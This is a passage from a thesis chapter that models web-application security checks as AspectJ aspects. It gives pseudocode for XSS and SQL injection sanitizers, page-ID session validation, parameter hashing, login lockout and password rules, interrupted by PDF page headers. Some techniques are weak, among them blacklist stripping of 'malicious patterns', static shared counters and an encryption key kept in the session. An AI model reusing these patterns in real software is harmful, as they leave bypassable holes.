All pages user input

methods

Search for maliciouspattern using

regular expression.

Strip malicious pattern

3 Authentication Start of every page Check whether authenticated. If not

fire login page

Validate method Track failed logins by incrementing

tries counter.

Login page start Failed login check tries>3 lock user.

4 Authorization Start of every page Check for valid pageid in request to

see whether user is allowed to view. If

not Warnpage is fixed.

5 Parameter

Tampering

Links and forms Change parameter and its values with

relative values before sending to

client.

Request Relative values converted back to

actual values.

6 Session/url

manipulation

Links and Forms Insert a parameter in the query string

of <a href pageid

Request Get Pageid from query string. If

previously sent to client then only

accept. Otherwise manipulated i/p

Warn page is fired

7 Buffer Overflow All pages user input

methods

Check against expected size. If greater

then truncate.

Table (1) Aspect details Attacks that are not addressed by the researcher.

Page 51: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

1. server based attacks are not considered as it is not at the application developer level

vulnerability. The researcher concentrated only on the programming related issues.

2. Insecure storage based vulnerabilities also not taken into account as it at the operating

system level issue

1.8. Aspect ordering and weaving

In the efforts to incorporate security concerns in model driven development the

researcher modeled them as aspects. Every aspect mentioned above has its

components point cut and advice. Here we identified and modeled them in connection

with the joint points in the base model. Aspects were ordered while weaving to the

base model.

The pages that require direct intervention of user need to be protected against

injection attacks. In the mentioned search article example search article form page

accepts the input from user. XssInjectionCheck aspect is weaved here to filter the user

input. This will ensure that the input does not have any malicious tag. Encode aspect

is weaved in case of any flaw found in the input. The DataValidation aspect validates

the data entered by the user and forward to searchArticleController object.

SqlInjectionCheck aspect need to be weaved both at the interface layer and at the

persistence layer. So every get*(…) method invocation needs incorporation of

SqlInjectionCheck aspect and ExistenceCheck aspect (this will ensure the field is

present in the database table). Each and every page request will check for

confidentiality. LoginTracer aspect was weaved at the login module and

credentialCheck was weaved whenever credentials are modified.

Encryption/Decryption aspects were weaved duringdata store and retrieval

respectively.

SessionAsp was weaved for every request and response. Given the default ordering of

aspects below if they appear at the same pointcut.

1. LoginTracer

2. EnsureConfidentiality

3. SessionAsp

4. XssInjectionCheck

5. SqlInjectionCheck

6. Encryption/Decryption

Page 52: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

7. CredentialCheck

8. RuleValidation

9. BufferCheck

10. FileCheck

1.9. An excerpt of some aspects

The Platform specific aspect implementation and pointcuts identification are

mentioned here.

Figure (36) BufferCheckAspect Aspect Pointcut 1. getparameter() method which takes input from the user

Page 53: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (37) loginTracer Aspect Aspect pointcut 1. Login validation method of application validate()

Page 54: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (38) SessAsp aspect Aspect weaving Hidden fields and rewritten url links are used to pass state information between pages.

The aspect is used to insert a parameter and value in url in case of url link and a

hidden parameter and value in case of forms.

Aspect pointcuts Sending response

1. Html page is formed inside the server side program.

2. Intercept the “<a href ..” tag and insert additional parameter PAGEID and a generated

value. If the session is new start generation of PAGEID, otherwise increment the

previous value. Store it in server cache

3. Intercept the forms at <input type=”submit” > and insert a hidden parameter

PAGEID, before it.Store it in server cache also.

Receiving Request

1. Before processing any get or post request

Page 55: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

2. getURL()

3. Convert URL to string

4. Search and extract PAGEID

5. doMatch(PAGEID,Cache) //check whether the pageid is in cache . If yes valid request

6. If not valid fire error page

Figure (39) SqlAsp aspect Aspect pointcuts

1. getParameter() method which takes input from the user

2. executeQuery() method which executes a selection query

3. executeUpdate() method that executes an update/insert/delete query

4. execute() query

Page 56: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (40) XssAsp aspect Aspect pointcuts

1. getParameter() method which takes input from the user

Page 57: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (41) EnsureConfidentiality Aspect

Parameter Protection aspect Aspect pointcuts

1. Hidden fields are used to insert a parameter in to forms. <input type=”hidden” name= “as” value=”wwe” > Intercept the hidden fields value and change it to relative values <input type=”hidden” name=n1 value=v1>

2. Change the query string by replacing parameter value with hashed values.save in session <a href….?p1=..&p2=…. Intercept request processing and retrieve parameters. Verify integrity and restore actual values. Public void doget/dopost(,)

3. Setting cookies Intercept request processing and retrieve cookies. Verify integrity and restore actual values.

Page 58: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (42) CredentialCheck Aspect Aspect pointcut

1. Credential update method

1.10. Advice Implementation

The counter measures of web vulnerabilities were modeled as aspects and proof of

concept implementation was done using aspectj plugin for java based applications.

Page 59: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

1.11. Advice Algorithms

XssInjectionChecker

1. Declare/initialize variables Pattern acceptedPattern //used to store regular expression of accepted strings

Pattern rejectedPattern // used to store regular expression of rejected strings

String[] encodedPattern //used to store encoded patterns

2. check whether input is good

boolean matchWhiteList(String userinput) a. pattern=null

b. matcher=null

c. nom=0

d. if acceptedPattern !=null

find whether userinput and accepted pattern matches or not

if yes then nom++

e. if nom>0 then return true

else return false

3. check whether input is bad

String matchBlackList(String userinput) a. if rejectedPattern != null

find whether userinput and accepted pattern matches or not

b. if yes then nom++

c. find start and end position of matching substring, extract it in matchstring

d. userinput=encode(userinput, matchstring)

e. repeat steps a-e until nomatch

f. return userinput

4. set acceptable pattern for input

void setAcceptedPattern(String acceptedregex) a. acceptedPattern=compiled regular expression of acceptedregex

5. set rejected pattern for input

void setRejectedPattern(String rejectedregex) a. rejectedPattern=compiled regular expression of rejectedregex

6. encode malicious input

String sanitize(String userinput,String malicious) a. encode/stripout the malicious pattern in userinput

Page 60: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

b. return userinput

7. check and sanitize input

String checkandSanitize(String userinput) a. initialize rejected patterns(patterns that cause scripting injection attacks)

b. set accepted pattern

c. check input is good using matchWhiteList(userinput)

d. if no then for every rejectedPattern

1. set rejectedPattern

2. matchBlackList(userinput)

e. return userinput

8. validate input

boolean validate(String userinput,String[] values) a. for all values of userinput

b. find whether matches with acceptedPattern

if no then return false

c. find whether matches with rejectedPattern

if yes then return false

d. return true

9. Encode input String encode(String input)

a. Declare and initialize String encodedstring=null

b. For each character c in the string

c. If c=’\t’ or c=’\n’ or c=’\r’ append c to encodedstring

d. Else if c<=0x1f or (c>=0x7f and c<=0x9f) append ‘ ‘ to strip malicious

character

e. Else append enoded value of c to encodedstring

10. Canonicalize input

Whitelist approach of encoding where only characters specified in the list of good

input are allowed as it is. All other inputs are encoded.

a. Canonicalize input. Read character

b. Check whether double encoded.

c. If encoded character is found it is canonicalized and pushed back to input string

d. If next character is encoded, then an intrusion is found because double encoding is

detected

Page 61: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Sessionvalidator

1. Declare and initialize variables HttpServletRequest request=null; //stores request object

HttpServletResponse response=null; //stores response object

SessionHDIV sesshd=null; //stores session object

static int ipid=-1; //stores pageid

static int sid=1; //stores stateid

IState state1=null; //stores state

String pagenam; //stores pagename

cryptos.EncodingUtil eu; //stores encoding object

MessageDigest md; //stores hash object

cryptos.CipherHTTP c; //stores cipher object

cryptos.KeyFactory k; //stores keyfactory object

cryptos.Key key; //store key

boolean valid=true; //stores validity

boolean pagevalid=true; //stores validity

boolean formreq=false; //stores request type

URLCodec uc; //stores url encoding object

int method=0; //stores form method type

int sellist=0; //stores select object option value

int selectno=0; //stores select object count

ParamMap pm[]=new ParamMap[3];//stores select object value-relative value

//map

String selname=null; //stores select object name

String hf="<input type=\"hidden\" name=\"";//store hidden field format

2. Initialize Session void initSession(HttpServletRequest req,HttpServletResponse res)

a. Assign passed request and response object to instance variables request and response

b. Create new session

3. Clear Session void clearSess()

a. Assign null to request and response object

Page 62: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

b. Reset processed ipid=-1

4. Process Request int processReq(HttpServletRequest req,HttpServletResponse res)

a. Assign passed values to request and response objects respectively

b. If the request url is login page/login verify page then

Return 0

else

c. If querystring!=null and querystring contains “pageid” and valid =true then

i. Decode url

ii. //verifying parameters forn integrity

Extract Parameters

1. create stringtokenizer object, parse querystring using ‘&’ as

token separator

2. retrieve while moretokens

3. if not token.indexof(“pageid”) then

retrieve parameter and value

retrieve from session saved parameter value

compare both values

if same then parameters are correct

else

check if parameter is noneditable list

if yes then

retrieve saved value from map

if cannot retrieve then parameters

manipulated by user

endif

endif

else

parameters are manipulated

restore from session

return 0

endif

endif

Page 63: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

d. else

if request !=null //request from form

i. get parameters and store in Enumeration paramNames

ii. while paramNames has more elements

1. retrieve next element

2. retrieve its value from Session

3. if returned value !=null then

if pageid then

retrieve its values

valid=0

4. compare value and values

if same valid++

repeat ii for all parameters

iii. if valid>0 pagevalid=true

else

pagevalid=false

return 0

e. else

invalid request

fire WarnPage

return 0;

5. Redirecting Page

String sendRedir(String uri ) a. If request url=login page/verify page then

ipid++

b. If session !=null then

Set session attribute “pageid”+ipid to ipid

Prepare parameter pageid

Find hashed value of parameter pageid, ie.hash(ipid)

c. Save in session attribute

“shash”+ipid the hash(ipid)

d. Attach pageid parameter to request url

e. Valid=true

f. Save url in session attribute “url”+ipid

Page 64: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

g. Return url

6. Start Session void initSess()

a. Get session object

b. If ipid=-1 then start session

c. Ipid=generateinitialpageid //randomly generated

d. Set attribute “pageid”+ipid to ipid

7. Check and process tags String checkout(String st)

a. If st contains “<a href=..” then

i. Ipid++

ii. If session !=null then

iii. Set session attribute “pageid”+ipid to ipid

iv. Extract query string and store in rurl

v. Set session attribute “url”+ipid to rurl

vi. Prepare pageid parameter

1. if ? is present in st then

attach pageid string “&pageid”+ipid+”=”+ipid to query string of rurl

2. else attach “?pageid”+ipid+”=”+ipid as query string to rurl

vii. Hash parameter values and encode url

1. read query string

2. tokenize parameters

3. replace parameter value with hval(ie.hash(parameter value) )in st

4. set session attribute param+”hash” to hval

5. set session attribute “shash”+ipid to hval

6. url=querystring

7. eurl=encoded url

8. replace url with eurl in st

b. if st contains “<select id “ then

i. sellist=1

ii. extract id

iii. selname=id

iv. create parammap object

c. if st contains “<option “ then

i. extract value

Page 65: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

ii. put sellist and value in paramMap object(sellist,val)

iii. replace val in st with sellist

iv. increment sellist

d. if st contains “</select” then

i. sellist=0

ii. set session attribute selname+”map” to parammap object

iii. selectno++//increment list counter

e. if st contains “form method=” then

i. if form method=get then method=1

ii. else method=0

iii. if request!=null then

1. if session !=null then

2. ipid++

3. set session attribute “pageid”+ipid to ipid

4. rurl=extracted action url

5. set attribute “url”+ipid to rurl

6. find hash value of ipid ie hval

7. set session attribute “shash”+ipid to hval

8. prepare parameter “pageid”+ipid=hval

9. concatenate st with prepared pageid parameter

f. Check validity

i. If st contains “<html “ then

ii. If request !=null then //retrieve parameters

1. get parameters from request

2. get session attribute values for every parameter

3. compare if requested and retrieved values match

4. if matches then pagevalid=true

else pagevalid=false

iii. //retrive parameters from form method=get

if request !=null

1. qs=get query string

2. if qs !=null then

3. qs1=decoded qs

4. retrieve parameters from qs1

Page 66: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

5. retrieve pageid

6. get session attribute “shash”+ipid

7. compare requested and retrieved values

8. if same then

retrieve session attribute url

9. compare rurl and url

10. if same valid=true

else valid =false

if rurl !=logn page/ verify page then

fire Warnpage

else

valid=false

SqlInjectionChecker

1. Declare/initialize variables Pattern acceptedPattern //used to store regular expression of accepted strings

Pattern rejectedPattern // used to store regular expression of rejected strings

2. check whether input is good boolean matchWhiteList(String userinput)

a. pattern=null

b. matcher=null

c. nom=0

if acceptedPattern !=null

find whether userinput and accepted pattern matches or not

if yes then nom++

d. if nom>0 then return true

else return false

3. check whether input is bad

String matchBlackList(String userinput) a. if rejectedPattern != null

find whether userinput and accepted pattern matches or not

b. if yes then nom++

c. find start and end position of matching substring, extract it in matchstring

Page 67: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

d. userinput=sanitize(userinput, matchstring)

e. repeat steps a-e until nomatch

f. return userinput

4. set acceptable pattern for input

void setAcceptedPattern(String acceptedregex) a. acceptedPattern=compiled regular expression of acceptedregex

5. set rejected pattern for input

void setRejectedPattern(String rejectedregex) a. rejectedPattern=compiled regular expression of rejectedregex

6. sanitize malicious input

String sanitize(String userinput,String malicious) a. stripout the malicious pattern from userinput

b. return userinput

7. check and sanitize input String checkandSanitize(String userinput)

a. initialize rejected patterns(that cause sql injection)

b. set accepted pattern

c. check input is good using matchWhiteList(userinput)

d. if no then for every rejectedPattern

1. set rejectedPattern

2. matchBlackList(userinput)

e. return userinput

8. validate input

boolean validate(String userinput,String[] values) a. for all values of userinput

b. find whether matches with acceptedPattern

if no then return false

c. find whether matches with rejectedPattern

if yes then return false

d. return true

BufferChecker

1. declare and initialize variables for every input that needs size verification declare variables

Page 68: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

2. check input length String checkandTrunc(String userinput)

a. If length of userinput>limit then truncate upto limit

b. Return userinput

3. set limit to input void setLimit(String inputname,int size) CheckTries

1. declare and initialize variables int tries=0 //used store no of attempts made

2. record login failures void checkandLock()

a. tries++ 3. Lock user from access

void firewarn(req,res) a. If tries>limit b. Then redirect to warnpage

CookieTrack

1. Declare variables HttpServletRequest req

HttpServletResponse res

HttpSession sess

2. initialize request and response void initrr(HttpServletRequest req, HttpServletResponse res)

a. initialize req and res objects 3. initialize session

void initsess() a. sess=getSession()

4. save cookie

void setCookie(Cookie c) a. get Cookie name

b. set session attribute to save cookie in session

5. save cookie send in headers

void sethdr(String name, String value) a. if headername is “Set-Cookie” b. then set sessionattribute to save cookie in session

6. verify cookie in request

Page 69: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

void chkreq(HttpServletRequest req, HttpServletResponse res)

a. load request object

b. load session

c. Cookie[] cookies=get cookies from request

d. If cookies != null

e. Then for every cookie in request

f. Get saved cookie from session

g. If value of both not match then restore saved cookie

CredentialCheck1

1. declare/ initialize variables boolean valid=true

2. find password username match boolean findMatch(String username,String pw)

a. if pw contains username

b. then valid=false

c. return valid

3. find password length for acceptability boolean findLengthValidity(String pw)

a. if length of pw is less than 8

b. then valid=false

c. return valid

4. find password strength boolean findpwStrength(String pw)

a. if pw has only alphabets then

b. valid=false

c. return false

CredentialCheck2

1. declare/ initialize variables boolean valid=true

2. find password username match boolean findMatch(String username,String pw)

a. if pw contains username

b. then valid=false

Page 70: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

c. return valid

3. find password length for acceptability String findLengthValidity(String opw,String npw)

a. if length of pw is less than 8

b. then npw=opw

c. return npw

4. find password strength String findpwStrength(String opw,String npw)

a. if pw has only alphabets then

b. npw=opw

c. return npw

Encryptor

1. Declare and initialize variables 2. initialize cryptographic components

void initCryptos(HttpServletRequest req, HttpServletResponse res)

a. Load session/ request and response objects

b. Initialize cipher details/default algorithm

c. Generate default key

d. Save key in session variable

3. encrypt input String encrypt(String s)

a. initialize encrypt mode

b. encrypt input

c. return encrypted data

Decryptor

1. Declare and initialize variables 2. initialize cryptographic components

void initCryptos(HttpServletRequest req, HttpServletResponse res)

a. Load session/ request and response objects

b. Initialize cipher details/default algorithm

3. encrypt input String decrypt(String s)

a. get key details from session

Page 71: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

b. Initialize decrypt mode

c. decrypt input

d. return decrypted data

RuleValidator

1. verify rule String verifyRule(String userinput) //the rule verification should be customized according to the business rule FileVerifier

1. declare and initialize variables

2. verify File type boolean verifyFile(String filename)

3. set allowed file type void setAllowedtype(String type)